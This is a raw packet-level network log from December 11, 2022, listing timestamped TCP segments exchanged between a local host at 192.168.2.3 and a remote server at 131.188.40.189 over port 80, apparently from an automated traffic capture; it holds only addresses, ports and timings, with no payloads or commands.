Dec 11, 2022 09:25:06.520668030 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520670891 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.520710945 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520755053 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520765066 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.520798922 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520844936 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520853996 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.520890951 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520935059 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.520936966 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.520979881 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521023035 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521023989 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.521066904 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521109104 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521111012 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.521152973 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521193027 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.521195889 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521248102 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521290064 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.521291971 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521333933 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521373034 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.521377087 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521420002 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521461964 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.521464109 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521523952 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521565914 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.521569967 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521612883 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.521653891 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.521661043 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.541642904 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.541676998 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.541704893 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.541735888 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.541745901 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.541779041 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.541784048 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.541826010 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.541829109 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.541873932 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.541874886 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.541913986 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542037010 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542084932 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542097092 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542139053 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542140007 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542181969 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542185068 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542226076 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542232037 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542273998 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542284966 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542329073 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542344093 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542373896 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542376995 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542417049 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542418957 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542463064 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542467117 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542507887 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542510033 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542548895 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542551994 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542598009 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542602062 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542643070 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542651892 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542687893 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542690039 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542735100 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542736053 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542788029 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542790890 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542826891 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542830944 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542871952 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542900085 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542948961 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.542953014 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.542998075 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543003082 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543040037 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543042898 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543078899 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543087006 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543126106 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543131113 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543169975 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543174982 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543216944 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543220043 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543260098 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543263912 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543314934 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543318987 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543361902 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543361902 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543402910 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543405056 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543442965 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543457985 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543499947 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543504000 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543544054 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543550968 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543586016 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543616056 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543657064 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543661118 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543705940 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543705940 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543750048 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543750048 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543792009 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543803930 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543843985 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543847084 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543886900 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543891907 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543932915 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.543948889 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543992043 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.543992043 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544034004 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544037104 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544078112 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544081926 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544121981 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544136047 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544181108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544183969 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544223070 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544224977 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544264078 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544269085 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544307947 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544312954 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544353008 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544359922 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544389963 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544399977 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544420004 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544428110 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544461012 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544465065 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544507027 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544509888 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544547081 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544549942 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544593096 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544604063 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544646978 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544658899 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544691086 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544692039 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544732094 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544749022 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544789076 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544790983 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544831038 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544835091 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544878960 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544889927 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544935942 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544938087 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.544979095 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.544984102 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545011997 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545022964 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545053005 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545057058 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545095921 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545100927 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545142889 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545145035 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545190096 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545198917 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545258999 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545267105 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545304060 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545308113 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545347929 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545361996 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545392990 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545399904 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545435905 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545438051 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545480013 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545484066 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545526028 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545526981 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545571089 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545572996 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545615911 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545619965 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545660973 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545661926 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545702934 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545706987 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545746088 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545777082 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545789957 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545805931 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545838118 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545850039 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545882940 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545900106 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545931101 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545941114 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.545977116 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.545984983 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546020985 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546021938 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546063900 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546068907 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546108007 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546122074 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546150923 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546156883 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546197891 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546207905 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546242952 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546252012 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546287060 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546289921 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546329975 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546335936 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546374083 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546406984 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546416044 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546425104 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546459913 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546462059 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546505928 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546514988 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546550035 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546550989 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546596050 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546597958 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546639919 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546674013 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546684027 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546684980 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546727896 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546729088 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546772957 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546777964 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546814919 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546816111 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546859026 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546870947 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546905994 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.546927929 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.546981096 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.551676989 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.566987991 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567066908 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567070007 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567101002 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567114115 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567135096 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567158937 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567168951 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567174911 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567202091 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567207098 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567244053 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567246914 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567280054 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567285061 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567316055 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567322016 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567348957 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567372084 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567382097 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567393064 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567415953 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567419052 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567449093 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567452908 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567481995 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567483902 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567517042 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567549944 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567586899 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567606926 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567640066 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567656994 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567673922 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567706108 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567730904 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567738056 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567740917 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567773104 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567775011 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567806005 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567812920 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567837954 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567845106 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567869902 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567873955 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567907095 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567914009 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567929029 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567964077 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.567965031 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.567996025 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568002939 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568027973 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568032026 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568061113 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568063974 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568098068 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568103075 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568144083 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568166971 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568198919 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568207026 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568233967 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568238020 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568267107 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568274021 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568300962 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568305016 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568335056 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568340063 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568370104 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568371058 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568406105 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568411112 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568444014 CET	80	49692	131.188.40.189	192.168.2.3
Dec 11, 2022 09:25:06.568448067 CET	49692	80	192.168.2.3	131.188.40.189
Dec 11, 2022 09:25:06.568475962 CET	80	49692	131.188.40.189	192.168.2.3
